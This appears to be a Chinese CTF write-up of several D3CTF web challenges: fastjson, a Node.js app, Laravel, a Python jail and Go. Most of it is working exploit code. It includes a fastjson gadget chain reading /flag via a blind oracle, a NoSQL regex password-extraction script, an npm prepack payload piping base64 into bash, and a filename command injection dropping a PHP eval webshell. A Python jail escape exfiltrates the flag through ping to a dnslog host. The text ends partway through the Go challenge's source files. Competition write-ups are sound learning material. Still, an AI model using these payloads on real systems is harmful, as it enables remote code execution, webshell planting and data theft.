56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package com.d3ctf.exp.controller;


import com.d3ctf.exp.request.ExpRequest;
import com.dtflys.forest.http.ForestResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.annotation.Resource;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

@Controller
public class EvilController {

@Resource
private ExpRequest expRequest;


String flag = "";

@RequestMapping("/hack")
@ResponseBody
public String hack(int i) { // flag byte error
byte[] bytes;
String payload = null;
payload = "[{\n" +
" \"1ue\": {\n" +
" \"@type\": \"java.lang.Exception\",\n" +
" \"@type\": \"com.d3ctf.exceptions.ForestRespException\"\n" +
" }\n" +
"},\n" +
" {\n" +
" \"2ue\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" {\n" +
" \"@type\": \"java.lang.String\"\n" +
" \"@type\": \"com.d3ctf.exceptions.ForestRespException\",\n" +
" \"response\": \"\"\n" +
" }\n" +
"}\n" +
"},\n" +
" {\n" +
" \"3ue\": {\n" +
" \"@type\": \"com.dtflys.forest.http.ForestResponse\",\n" +
" \"@type\": \"com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse\",\n" +
" \"entity\": {\n" +
" \"@type\": \"org.apache.http.entity.AbstractHttpEntity\",\n" +
" \"@type\": \"org.apache.http.entity.InputStreamEntity\",\n" +
" \"inStream\": {\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
" \"url\": \"file:///flag\"\n" +
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"boms\": [\n" +
" {\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": [\n" +
" ${exp}\n" +
" ]\n" +
" }\n" +
" ]\n" +
" }\n" +
" }\n" +
" }\n" +
" },\n" +
" {\n" +
" \"4ue\": {\n" +
" \"$ref\": \"$[2].3ue.entity.inStream\"\n" +
" }\n" +
" },\n" +
" {\n" +
" \"5ue\": {\n" +
" \"$ref\": \"$[3].4ue.bOM.bytes\"\n" +
" }\n" +
" },\n" +
" {\n" +
" \"6ue\": {\n" +
" \"@type\": \"com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse\",\n" +
" \"entity\": {\n" +
" \"@type\": \"org.apache.http.entity.InputStreamEntity\",\n" +
" \"inStream\": {\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\": {\n" +
" \"@type\": \"java.lang.String\"\n" +
" {\n" +
" \"$ref\": \"$[4].5ue\"\n" +
" },\n" +
" \"start\"\n" +
" :\n" +
" 0,\n" +
" \"end\"\n" +
" :\n" +
" 0\n" +
" },\n" +
" \"charsetName\"\n" +
" :\n" +
" \"UTF-8\",\n" +
" \"bufferSize\"\n" +
" :\n" +
" 1024\n" +
" },\n" +
" \"boms\"\n" +
" :\n" +
" [\n" +
" {\n" +
" \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": [\n" +
" 1\n" +
" ]\n" +
" }\n" +
" ]\n" +
" }\n" +
"}\n" +
"\n" +
"}\n" +
"}" +
"]\n";
if (flag.indexOf(",")!=-1) {
payload = payload.replace("${exp}", flag + "," + i);
} else {
payload = payload.replace("${exp}", i+"");
}
System.out.println(flag + "," + i);
// System.out.println(payload);
// } catch (IOException e) {
// e.printStackTrace();
// }
return payload;
}

@RequestMapping("exp")
@ResponseBody
public Object exp() throws Exception {
for (int j = 0; j <= 30; j++) {
for (int i = 1; i <= 256; i++) {
ForestResponse response = expRequest.hack(i);
Object result = response.getResult();
int length = response.getByteArray().length;
System.out.println(result);
System.out.println(length);
if (length <= 1000) {
flag = flag + "," + i;
System.out.println("flag:" + flag);
}
}
}
return flag;
}
}



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.d3ctf.exp.request;


import com.dtflys.forest.annotation.BaseRequest;
import com.dtflys.forest.annotation.Get;
import com.dtflys.forest.annotation.Var;
import com.dtflys.forest.http.ForestResponse;

@BaseRequest(
// replace it r to gamebox address
baseURL = "http://139.196.153.118:30852/"
// baseURL = "http://localhost:8001"
)
public interface ExpRequest {
@Get("/getOther?route=http://114.116.119.253:8002/hack?i={i}")
ForestResponse hack(@Var("i") int i);
}

意思就是盲注,如果正确的话就不报错,不正确就报错,报错信息的长度大于1000,就可以作为盲注的条件。
image.png
报错如上,正常如下
image.png
然后最后得到结果
image.png
image.png

d3node

考点:nosql盲注、npm投毒
是没有给任何的源码的,我们直接开环境,源代码提示访问getHint1
image.png
获得一部分源代码,告诉我们登录的逻辑,这很容易想到nosql注入了。因为这里有明显的二元条件差
这里就是nosql的regex正则去盲注。
image.png
可以看到是存在正则盲注的。那么我们现在要做的就是写个脚本了。
脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import base64
import time

import requests
url="http://139.196.153.118:31867/user/LoginIndex"
res=''
for i in range(30):
for j in range(32,129):
tmp=chr(j)
if tmp != "$" and tmp !="." and tmp!="*" and tmp!="+" and tmp!="^" and tmp!="?":
data={
"username":"admin",
"password[$regex]":f"^{res+tmp}"
}
r=requests.post(url=url,data=data,allow_redirects=False)
# print(tmp)
# print(r.status_code)
if r.status_code == 302:
res+=tmp
print(res)
break
else:
pass

运行之后获取密码。dob2xdriaqpytdyh6jo3
image.png
之后admin登录一手。得到提示2/getHint2
image.png
在某个路由是存在文件读取的。
大致的测一下
image.png
发现showExample是最像的,我们可以首先读一下cmdline
image.png
image.png
但是看上去似乎是有黑名单的,这就涉及到readFileSync的一个url编码绕过的trick了
? filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname ]=&filename [pathname]=%2561%2570%2570%252e%256a%2573
获取网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

const express = require("express");
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const session = require("express-session");
const stringRandom = require("string-random");
const path = require("path");

// register router
const indexRouter = require("./routes/index");
const userRouter = require("./routes/user");
const dashboardIndexRouter = require("./routes/dashboardIndex");

const app = express();
const PORT = 8080;

app.engine('html', require('hbs').__express);
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'static')));

app.use(session({
secret: stringRandom(32),
resave: false,
saveUninitialized: true,
cookie: {
maxAge: 1000 * 60 * 60 * 24 * 7
}
}));

// set router
app.use("/",indexRouter);
app.use("/user",userRouter);
app.use("/dashboardIndex",dashboardIndexRouter);

app.listen(8080,() =>
{
console.log(`App listening on ${PORT}`);
});

再把其他几个文件也都读下来。
index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

const express = require("express");
const path = require("path");
const router = express.Router();

router.get("/",(req, res) => {
if(!req.session.is_login) {
return res.redirect("/user/LoginIndex");
}else{
return res.render("dashboardIndex",{message:"Welcome back",session_user:"Hello,"+req.session.user});
}
});

// put hint here
router.get("/getHint1",(req, res) => {
const hintName = "hint1.png";
const options = {
root: path.join(__dirname,"../hints")
};
res.sendFile(hintName,options,(err) => {
if(err){
res.status(500).send("Get hint1 error");
}
});

});

module.exports = router;

user.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139

const express = require('express');
const mongo = require("mongoose");
const router = express.Router();

const dbUser = process.env.DBUser;
const dbPassword = process.env.DBPassword;

// docker
mongo.connect("mongodb://127.0.0.1:27017/userInfoDB", {
useNewUrlParser: true,
useUnifiedTopology: true,
auth: {
username: dbUser,
password: dbPassword
}
});

// local
/*
mongo.connect("mongodb://test:[email protected]:27017/testdb", {
useNewUrlParser: true,
useUnifiedTopology: true,
auth: {
username: 'test',
password: 'test'
}
});
*/
db = mongo.connection;
db.on('error', console.error.bind(console, 'connection error:'));
db.once('open', function() {
console.log('connection success!')
});


var userinfo = new mongo.Schema({
username: String,
password: String
});

const Userinfo = mongo.model("userinfo",userinfo,"userinfo");

function checkData(str){
const check = /where|eq|ne|gt|gte|lt|lte|exists|text|collation/;
return check.test(str);
}

// Register
router.all("/RegisterIndex",(req,res) => {
if (req.session.is_login) {
return res.redirect("/dashboardIndex/Home");
}
if (req.method === "GET"){
return res.render("register",{register_result:"Please register"});
}
if (req.method === "POST") {
if (req.body.username === undefined || req.body.password === undefined){
return res.render("register",{register_result: "Plz input your username and password"});
}
if (req.body.username === "" || req.body.password === "") {
return res.render("register", {register_result: "Username or password cannot be empty"});
}
if (checkData(JSON.stringify(req.body))){
return res.render("register", {login_result: "Hacker!!!"});
}
Userinfo.findOne({username: req.body.username}).exec()
.then((info) => {
if (info == null) {
let user = new Userinfo({
username: req.body.username,
password: req.body.password
});
user.save()
.then(savedUser => {
if (savedUser) {
return res.render("register", {register_result: "Register success"});
} else {
return res.render("register", {register_result: "Register failed"});
}
})
.catch(err => {
if (err) {
return res.render("register", {register_result: "Internal server error"});
}
});
} else {
return res.render("register", {register_result: "User already exists"});
}
})
}
});

// Login
router.all("/LoginIndex",(req,res) => {
if (req.session.is_login) {
return res.redirect("/dashboardIndex/Home");
}
if (req.method === "GET") {
return res.render("login", {login_result: "Please login"});
}
if (req.method === "POST") {
if (req.body.username === undefined || req.body.password === undefined) {
return res.render("login",{login_result:"Plz input your username and password"});
}
if (req.body.username === "" || req.body.password === ""){
return res.render("login",{login_result:"Username or password cannot be empty"});
}
if (checkData(JSON.stringify(req.body))) {
return res.render("login", {login_result: "Hacker!!!"});
}
Userinfo.findOne({username: req.body.username, password: req.body.password}).exec()
.then((info) => {
if (info == null) {
return res.render("login", {login_result: "Login failed,invalid username or password"});
} else {
req.session.is_login = 1;
if (typeof req.body.username == "object" || typeof req.body.password == "object") {
req.session.user = "test";
return res.redirect("/dashboardIndex/Home");
}

req.session.user = req.body.username;
// if admin
if (req.body.username === "admin" && req.body.password === info.password) {
req.session.is_admin = 1;
req.session.user = "admin";
}
return res.redirect("/dashboardIndex/Home");
}
})
.catch((err) => {
return res.render("login", {login_result: "Internal server error"});

})
}
});

module.exports = router;

dashborad.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260

const express = require('express');
const fs = require("fs");
const path = require("path");
const cp = require("child_process");
const multer = require("multer");

const router = express.Router();

const upload = multer({ dest: path.join(__dirname,"../public/tmp")});
function checkFileData(fileDatas){
const blacklist = ['__proto__', 'prototype', 'constructor'];
for (let i = 0; i < blacklist.length; i++) {
if (fileDatas.includes(blacklist[i])) {
return false;
}
}
return true;
}

// Get example file
router.get("/ShowExampleFile",(req, res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}

if([req.query].some((item) => item && JSON.stringify(item).includes("app"))){
return res.status(200).send("Hacker!!!");
}

try {
return res.status(200).send(fs.readFileSync(req.query.filename || "./example/example.json").toString());
}catch(err){
return res.status(500).send("Internal server error");
}
})

// Homepage
router.get("/Home",(req,res) => {
if(!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
return res.render("dashboardIndex",{message:"Welcome back",session_user:"Hello,"+req.session.user});
})

router.get("/getHint2",(req, res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
const hintName = "hint2.png";
const options = {
root: path.join(__dirname,"../hints")
};
res.sendFile(hintName,options,(err) => {
if(err){
return res.status(500).send("Get hint2 error");
}
});

});

// show uploaded files
router.get("/UploadList",(req,res) => {
if(!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
var lists = fs.readdirSync(path.join(__dirname,"../public/upload"));
if (lists.length === 0){
return res.render("dashboardIndex",{message: "No uploaded files",session_user:"Hello,"+req.session.user});
}
return res.render("dashboardIndex",{message: lists,session_user:"Hello,"+req.session.user});
})

// show packed files
router.get("/PacksList",(req,res) => {
if(!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
var lists = fs.readdirSync(path.join(__dirname,"../public/packs"));
if (lists.length === 0){
return res.render("dashboardIndex",{message: "No packed files",session_user:"Hello,"+req.session.user});
}
let result = "";
for (let i = 0; i < lists.length; i++){
result += "<a href='/dashboardIndex/DownloadPackage?name=" + lists[i] + "'>" + lists[i] + "</a><br>";
}
return res.render("dashboardIndex",{message: result,session_user:"Hello,"+req.session.user});
})

// Download packed files
router.get("/DownloadPackage",(req,res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
if (req.query.name === undefined || req.query.name === ""){
req.query.name = "example.tgz";
}
var packageName = req.query.name;

if (packageName.indexOf("/") !== -1 || packageName.indexOf("..") !== -1){
return res.status(200).send("File path invalid");
}
if (packageName.indexOf(".tgz") === -1){
return res.status(200).send("Not a package file");
}

const packagePath = path.join(__dirname,"../public/packs/",packageName);
if(!fs.existsSync(packagePath)) {
return res.status(200).send("File not found");
}
const contentType = "application/x-gtar";
res.setHeader("Content-disposition", "attachment; filename=" + packageName);
res.setHeader("Content-type", contentType);
res.download(packagePath,packageName,(err) => {
if (err){
return res.status(500).send("Download failed");
}
});

});

// Upload files
router.all("/Upload",upload.any(),(req,res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}

if (!req.session.is_admin){
return res.status(403).send("You are not admin");
}

if (req.method === "GET"){
return res.render("upload",{upload_result:"plz upload file"});
}
if (req.method === "POST"){
if (!req.files || Object.keys(req.files).length === 0){
return res.send("No files were uploaded");
}
var file = req.files[0];
if (file.originalname.includes("/") || file.originalname.includes("..")){
return res.send("File path invalid");
}
var fileData = fs.readFileSync(file.path).toString("utf-8");
if (!checkFileData(fileData)){
return res.send("File data invalid");
}
var filePath = path.join(__dirname,"../public/upload/",file.originalname);
if (path.extname(file.originalname) === ".json") {
fs.writeFile(filePath,fileData,(err) => {
if (err){
return res.send("File upload error");
}else {
return res.send("File upload success");
}
});
}else {
return res.send("Not a JSON file");
}
}
});

// Set dependencies
router.all("/SetDependencies",(req,res) => {
if (!req.session.is_login) {
return res.redirect("/user/LoginIndex");
}
if (!req.session.is_admin){
return res.status(403).send("You are not admin");
}
if (req.method === "GET") {
return res.status(200).send("You can post the dependencies here");
}
if (req.method === "POST"){
var data = req.body;

if (typeof data !== "object" && data === {}){
return res.status(200).send("plz set the dependencies");
}
if (!checkFileData(JSON.stringify(data))){
return res.status(200).send("Invalid dependencies");
}
var exampleJson = {
"name": "app-example",
"version": "1.0.0",
"description": "Example app for the Node.js Getting Started guide.",
"author": "anonymous",
"scripts":{
"prepack": "echo 'packing dependencies'"
},
"license": "MIT",
"dependencies": {

}
};
exampleJson = Object.assign(exampleJson,{},data);

var filePath = path.join(__dirname,"../public/package.json");
var fileData = JSON.stringify(exampleJson);

fs.writeFile(filePath,fileData,(err) => {
if (err){
return res.status(500).send("Set dependencies error");
}else {
return res.status(200).send("Set dependencies success");
}
})
}
})

// Pack dependencies
router.get("/PackDependencies",(req,res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
if (!req.session.is_admin){
return res.render("dashboardIndex",{message: "You are not admin",session_user:"Hello,"+req.session.user});
}
console.log("Packing dependencies...");
var filePath = path.join(__dirname,"../public");
cp.exec("cd " + filePath + "&& npm pack && mv ./*.tgz ./packs",(err,stdout,stderr) => {
if(err){
return res.render("dashboardIndex",{message: "Pack dependencies error",session_user:"Hello,"+req.session.user});
}else {
return res.render("dashboardIndex",{message: "Pack dependencies success",session_user:"Hello,"+req.session.user});
}
})
})

// Kill installing dependencies
router.get("/KillDependencies",(req,res) => {
if(!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
if (!req.session.is_admin){
return res.render("dashboardIndex",{message: "You are not admin",session_user:"Hello,"+req.session.user});
}
console.log("Killing dependencies...");
cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kill -9",(err,stdout,stderr) => {
if (err){
return res.render("dashboardIndex",{message: "Kill installing dependencies error",session_user:"Hello,"+req.session.user});
}else {
return res.render("dashboardIndex",{message: "Kill installing dependencies success",session_user:"Hello,"+req.session.user});
}
});

});

// Logout
router.get("/Logout",(req,res) => {
if (!req.session.is_login){
return res.redirect("/user/LoginIndex");
}
req.session.is_login = 0;-
req.session.is_admin = 0;
req.session.user = "";
return res.redirect("/user/LoginIndex");
})

module.exports = router;

主要是看dashborad的路由。这里设计几个敏感的地方。让我注意的就是packDepandencies路由用了npm pack指令。然后在SetDependencies又可以去设置package.json文件。这里就可以直接利用package.json中的prepack字段
image.png
prepack指令可以执行命令。那我们直接投毒咯。直接弹个shell就行。后面发现不出网。所以写文件到tmp下然后读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /dashboardIndex/SetDependencies HTTP/1.1
Host: 139.196.153.118:31939
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://139.196.153.118:31939/dashboardIndex/PackDependencies
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: connect.sid=s%3Aqvgd1bo4X0qHvyzuOqJiquQDiCosacWp.6LmXYdceiigAStj3g5SJyXADcusKh9RJi%2BiQOFLmmIU
Connection: close
Content-Type: application/json
Content-Length: 399


{
"name": "exp",
"version": "1.0.0",
"description": "Example app for the Node.js Getting Started guide.",
"author": "boogipop",
"scripts":{
"prepack": "echo L3JlYWRmbGFnID4gL3RtcC9ib29naXBvcA==|base64 -d|bash"
},
"license": "MIT",
"dependencies": {

}
}

image.png

d3cloud

考点:laravel一个简单代码审计
和官方的改动了一些,不同部分为

1
2
3
4
5
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() .
$name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}

很明显有个命令注入。
直接改文件名就可以rce:

1
2
1123.zip || echo PD9waHAgZXZhbCgkX1JFUVVFU1RbInNoZWxsIl0pOw== | base64 -d >
shell.php # .zip

Escape Plan

python的一个trick
https://cn-sec.com/archives/1322842.html

1
2
3
4
5
6
7
8
9
10
11
import base64

import requests

u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫'
exp = '__import__("os").system("ping `/readflag`.zbeog8.dnslog.cn")'
exp_m = f"ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({base64.b64encode((exp+' '*(3-len(exp)%3)).encode()).decode()}=()))[len([])]))"
exp_m = exp_m.translate({ord(str(i)): u[i] for i in range(10)})
print(exp_m)
print(base64.b64encode(exp_m.encode()))
# requests.post("http://127.0.0.1:8080/", data={"cmd":base64.b64encode(exp_m.encode())}).text

image.png

d3go

考点:目录遍历,gorm软连接删除注入,覆盖配置文件RCE
很久没看到go的题了,刚好最近也在学go,仔细复现一波吧。首先是目录穿越获取源码/../main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main

import (
"crypto/rand"
"d3go/config"
"d3go/controller"
"d3go/db"
"d3go/middleware"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
log "github.com/sirupsen/logrus"
"net/http"
"strings"
)

func prog(state overseer.State) {
r := gin.Default()
InitRouter(r)
server := http.Server{
Addr: ":8080",
Handler: r,
}
go func() {
if err := server.Serve(state.Listener); err != nil && err != http.ErrServerClosed {
log.Fatal(err)
}
}()
<-state.GracefulShutdown
if err := server.Shutdown(nil); err != nil {
log.Fatal(err)
}
}

func main() {
config.Init()
db.Init()
if config.Conf.AutoUpdate {
log.Printf("Auto update enabled")
err := overseer.RunErr(overseer.Config{
Program: prog,
Address: ":8080",
Fetcher: &config.Fetch,
})
if err != nil {
log.Fatalln(err)
}
} else {
r := gin.Default()
InitRouter(r)
if err := r.Run(":8080"); err != nil {
log.Fatal(err)
}
}
}

func InitRouter(r *gin.Engine) {
var rad [32]byte
rand.Read(rad[:])
store := cookie.NewStore(rad[:])
r.Use(sessions.Sessions("mysession", store))
r.POST("/login", controller.Login)
r.POST("/register", controller.Register)
r.GET("/*filepath", ServeFile)
r.HEAD("/*filepath", ServeFile)
admin := r.Group("/admin")
admin.Use(middleware.Auth())
admin.POST("/upload", controller.Upload)
}

func ServeFile(c *gin.Context) {
// unzipped file server
p := c.Param("filepath")
if strings.HasPrefix(p, "/unzipped") {
if len(p) == 9 {
p = "/"
} else {
p = p[9:]
}
c.FileFromFS(p, http.Dir("./unzipped"))
return
}
// embed static file server
p = "/static/" + c.Param("filepath")
c.FileFromFS(p, http.FS(Static))
return
}

控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package controller

import (
"d3go/model"
"d3go/service/auth"
"d3go/service/upload"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"path"
)

type Resp struct {
StatusCode int `json:"status_code"`
StatusMsg string `json:"status_msg,omitempty"`
Data any `json:"data"`
}

var ErrFormatError = "format error"
var ErrInternalServer = "internal server error"

func Login(c *gin.Context) {
u := &model.User{}
err := c.ShouldBindJSON(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}
permission, err := auth.Login(u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrInternalServer,
})
return
}
session := sessions.Default(c)
switch permission {
case auth.UnAuthed:
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: "login fail",
})
case auth.User:
session.Set("admin", false)
session.Save()
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "login success",
})
case auth.Admin:
session.Set("admin", true)
session.Save()
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "login as admin success",
})
}
}

func Register(c *gin.Context) {
var u model.User
err := c.ShouldBindJSON(&u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrFormatError,
})
return
}
err = auth.Register(&u)
if err != nil {
c.JSON(200, Resp{
StatusCode: -1,
StatusMsg: ErrInternalServer,
})
return
}
c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "register success",
})
}

func Upload(c *gin.Context) {
f, err := c.FormFile("file")
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

if (f.Header.Get("Content-Type") != "application/zip" && f.Header.Get("Content-Type") != "application/x-zip-compressed") || path.Ext(f.Filename) != ".zip" {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "not a zip file",
})
return
}

uu := uuid.New()

zipPath := path.Join("upload", uu.String()+".zip")
if err := c.SaveUploadedFile(f, zipPath); err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "save zip fail",
})
return
}

tree, err := upload.Unzip(zipPath, path.Join("unzipped", uu.String()))
if err != nil {
c.JSON(500, Resp{
StatusCode: -1,
StatusMsg: "upload fail",
})
return
}

c.JSON(200, Resp{
StatusCode: 0,
StatusMsg: "upload success",
Data: tree.Children,
})

}

config.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package config

import (
"github.com/fsnotify/fsnotify"
"github.com/jpillora/overseer/fetcher"
log "github.com/sirupsen/logrus"
"github.com/spf13/viper"
"time"
)

var Conf config
var Fetch fetcher.HTTP

type config struct {
NoAdminLogin bool
DBUser string
DBPasswd string
DBHost string
DBPort string
AutoUpdate bool
UpdateUrl string
UpdateTime time.Duration
}

func Init() {
viper.SetConfigName("config")
viper.SetConfigType("yaml")
viper.AddConfigPath(".")
if err := viper.ReadInConfig(); err != nil {
log.Fatalln(err)
}
UpdateConfig()
viper.OnConfigChange(func(in fsnotify.Event) {
UpdateConfig()
})
viper.WatchConfig()
}

func UpdateConfig() {
Conf.DBUser = viper.GetString("database.user")
Conf.DBPasswd = viper.GetString("database.password")
Conf.DBHost = viper.GetString("database.host")
Conf.DBPort = viper.GetString("database.port")
Conf.NoAdminLogin = viper.GetBool("server.noAdminLogin")
Conf.AutoUpdate = viper.GetBool("update.enabled")
Fetch = fetcher.HTTP{
URL: viper.GetString("update.url"),
Interval: viper.GetDuration("update.interval") * time.Second,
}
Fetch.Init()
log.Println("config updated")
}


db.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package db

import (
"d3go/config"
"d3go/model"
"encoding/hex"
"errors"
log "github.com/sirupsen/logrus"
"math/rand"
"time"

"gorm.io/driver/mysql"
"gorm.io/gorm"
)

var ErrDatabase = errors.New("database error")

var db *gorm.DB

func Init() {
if err := tryOpen(); err != nil {
log.Fatalln(err)
}
err := db.AutoMigrate(&model.User{})
if err != nil {
log.Fatalln(err)
}

// create admin
rand.Seed(time.Now().UnixMicro())
var rad [32]byte
rand.Read(rad[:])
if ok, _ := IsFirstRegistered(); ok {
db.Save(&model.User{
Username: "admin",
Password: hex.EncodeToString(rad[:]),
})
}
}

func tryOpen() error {
var err error
var database *gorm.DB
for i := 0; i < 100; i++ {
database, err = gorm.Open(mysql.Open(config.Conf.DBUser+":"+config.Conf.DBPasswd+"@tcp("+config.Conf.DBHost+":"+config.Conf.DBPort+")/db?parseTime=True"), &gorm.Config{})
if err != nil {
time.Sleep(time.Second * 3)
continue
}
db = database
return nil
}
return err
}

func IsAdmin(u *model.User) bool {
var admin model.User
if err := db.First(&admin).Error; err != nil {
log.Error(err)
}
return u.Username == admin.Username
}

func AddUser(u *model.User) error {
if err := db.Save(u).Error; err != nil {
log.WithField("user", u).Error(err)
return ErrDatabase
}
return nil
}

